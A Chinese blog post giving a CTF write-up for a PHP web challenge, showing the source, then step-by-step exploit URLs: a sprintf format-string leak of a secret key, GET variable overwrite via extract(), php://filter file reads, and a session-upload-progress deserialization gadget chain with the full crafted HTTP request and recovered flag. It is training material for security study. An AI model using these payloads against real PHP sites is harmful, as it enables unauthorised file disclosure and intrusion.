刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

i春秋 CTF答题夺旗赛(第二季)best_language1 WriteUp

题目:

http://120.55.43.255:13006/

解题:

<?php
error_reporting(0);
highlight_file(__FILE__);
include('secret_key.php');
if (!empty($_GET["name"])) {
    $arr = array($_GET["name"], $secret_key);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data, $v);
    }
    echo $data;
}

if (($secret_key) === $_GET['key']) {
    echo "<br>you get the key<br>";
    $first = 'aa';
    $ccc = 'amdin';
    $i = 1;
    foreach ($_GET as $key => $value) {
        if ($i === 1) {
            $i++;
            $$key = $value;
        } else {
            break;
        }
    }
    if ($first === "u") {
        echo "<br>shi fu 666<br>";
        $file = 'phpinfo.php';
        $func = $_GET['function'];
        call_user_func($func, $_GET);
        if ($ccc === "F1ag") {
            echo "<br>tqltqltqltqltql<br>";
            require('class.php');
            include($file);
        }
    } else {
        echo "Can you hack me?<br>";
    }
}

代码审计

考点一:

sprintf 函数漏洞 可参考这篇文章 http://www.liugongrui.com/?id=18

http://120.55.43.255:13006/?name=%1s

name=%1s,%1代表引用第一个占位符的数据,s表示以字符串形式展示。得到secret_key=th3_k3y_y0u_cann0t_guess2333

1.png考点二:

GET变量覆盖

        foreach($_GET as $key => $value) { 
                if($i===1) 
                { 
                    $i++; 
                    $$key = $value; 
                } 
                else{break;} 
        }

限制了只有第一个GET值可以覆盖,我们把first放到前面,http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333

1.png考点三:

变量覆盖

            $func = $_GET['function']; 
            call_user_func($func,$_GET); 
            if($ccc==="F1ag") 
            { 
                echo "<br>tqltqltqltqltql<br>"; 
                require('class.php'); 
                include($file); 
            }

因为$ccc='amdin' ,所以我们想要让$ccc==="F1ag",需要使用变量覆盖函数extract

http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag

1.png

考点四:

文件读取

            $file='phpinfo.php'; 
            $func = $_GET['function']; 
            call_user_func($func,$_GET); 
            if($ccc==="F1ag") 
            { 
                echo "<br>tqltqltqltqltql<br>"; 
                require('class.php'); 
                include($file); 
            }

我们需要覆盖$file实现任意文件读取,上面已经实现覆盖任意变量了,这个也不在话下。我们读取一下class.php,需要使用php://filter/convert.base64-encode/resource= 变成base64读取出来,在解密

http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/convert.base64-encode/resource=class.php

解密后得到class.php源码

<?php
ini_set('session.serialize_handler', 'php');
session_start();

class Monitor
{
    public $test;

    function __construct()
    {
        $this->test = "index.php";
    }

    function __destruct()
    {
        echo "<br>file:" . $this->test . "<br>";
    }
}

class Welcome
{
    public $obj;
    public $var;

    function __construct()
    {
        $this->var = 'success';
        $this->obj = null;
    }

    function __toString()
    {
        $this->obj->execute();
        return $this->var . "";
    }


}

class Come
{
    public $method;
    public $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __wakeup()
    {
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }

    function waf($str)
    {
        $str = preg_replace("/[<>*;|?\n ]/", "", $str);
        $str = str_replace('/../', '', $str);
        $str = str_replace('../', '', $str);
        return $str;
    }

    function get_dir($path)
    {
        print_r(scandir("/tmp" . $path));
    }

    function execute()
    {
        if (in_array($this->method, array("get_dir"))) {
            call_user_func_array(array($this, $this->method), ($this->args));
        }
    }


}

?>

考点五:

php session反序列化漏洞

可以参考这篇文章http://www.liugongrui.com/?id=37https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

通过上传文件控制session的前提条件是需要知道phpinfo的信息

1.png

代码审计之后重新构造class文件,用来生成序列化后的对象字符串

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();

class Monitor
{
    public $test;

    function __construct()
    {
        $this->test = new Welcome();
    }

    function __destruct()
    {
        echo "<br>file:" . $this->test . "<br>";
    }
}

class Welcome
{
    public $obj;
    public $var;

    function __construct()
    {
        $this->var = 'succ1ess';
        $this->obj = new Come("get_dir", array('/../var/www/html'));
    }

    function __toString()
    {
        $this->obj->execute();
        return $this->var . "";
    }


}

class Come
{
    public $method;
    public $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __wakeup()
    {
        echo 'Come __wakeup:';
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }

    function waf($str)
    {
        $str = preg_replace("/[<>*;|?\n ]/", "", $str);
        $str = str_replace('/../', '', $str);
        $str = str_replace('../', '', $str);

        return $str;
    }

    function get_dir($path)
    {
        print_r(scandir("/tmp" . $path));
        var_dump($path);
    }

    function execute()
    {
        echo 'Come execute:';
        var_dump($this->method);
        var_dump($this->args);
        if (in_array($this->method, array("get_dir"))) {
            call_user_func_array(array($this, $this->method), ($this->args));
        }
    }


}

//
//echo serialize(new Come("get_dir", "/"));
echo serialize(new Monitor());
//echo serialize(new Welcome());
//unserialize('O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:16:"/../var/www/html";}}s:3:"var";s:8:"1succ1ess";}}')
//O:7:"Monitor":1:{s:4:"test";O:7:"Welcome":2:{s:3:"obj";O:4:"Come":2:{s:6:"method";s:7:"get_dir";s:4:"args";a:1:{i:0;s:16:"/../var/www/html";}}s:3:"var";s:8:"succ1ess";}}
?>

之后构造一个html来提交请求,用bp抓包

<!DOCTYPE html>

<html>

<body>

<form action="http://120.55.43.255:13006/class.php" method="POST" enctype="multipart/form-data">

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />

<input type="file" name="file" />

<input type="submit" value="submit" />

</form>

</body>

</html>
POST /class.php HTTP/1.1
Host: 120.55.43.255:13006
Content-Length: 495
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzsUYyfXzNYMDvhNN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9,und;q=0.8
Cookie: PHPSESSID=h07f1rfvnasjelkoo1vba8plj612
Connection: close

------WebKitFormBoundaryzsUYyfXzNYMDvhNN
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

2333
------WebKitFormBoundaryzsUYyfXzNYMDvhNN
Content-Disposition: form-data; name="|O:7:\"Monitor\":1:{s:4:\"test\";O:7:\"Welcome\":2:{s:3:\"obj\";O:4:\"Come\":2:{s:6:\"method\";s:7:\"get_dir\";s:4:\"args\";a:1:{i:0;s:16:\"/../var/www/html\";}}s:3:\"var\";s:8:\"succ1ess\";}}"; filename="211212.png"
Content-Type: image/png

‰PNG

------WebKitFormBoundaryzsUYyfXzNYMDvhNN--

注意需要把succ1ess改为success,发送后得到了一个看似是flag的文件名

1.png

在通过刚才的文件读取漏洞读取 7his_1s_F1aG 文件,http://120.55.43.255:13006/?first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/convert.base64-encode/resource=7his_1s_F1aG

1.png

ZmxhZ3s0MDA0Yy1kMzcxMzNhNzdmMWZjYTdiYmQ1OGItNGIzYjZjfQo=,解密后得到

flag{4004c-d37133a77f1fca7bbd58b-4b3b6c}


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.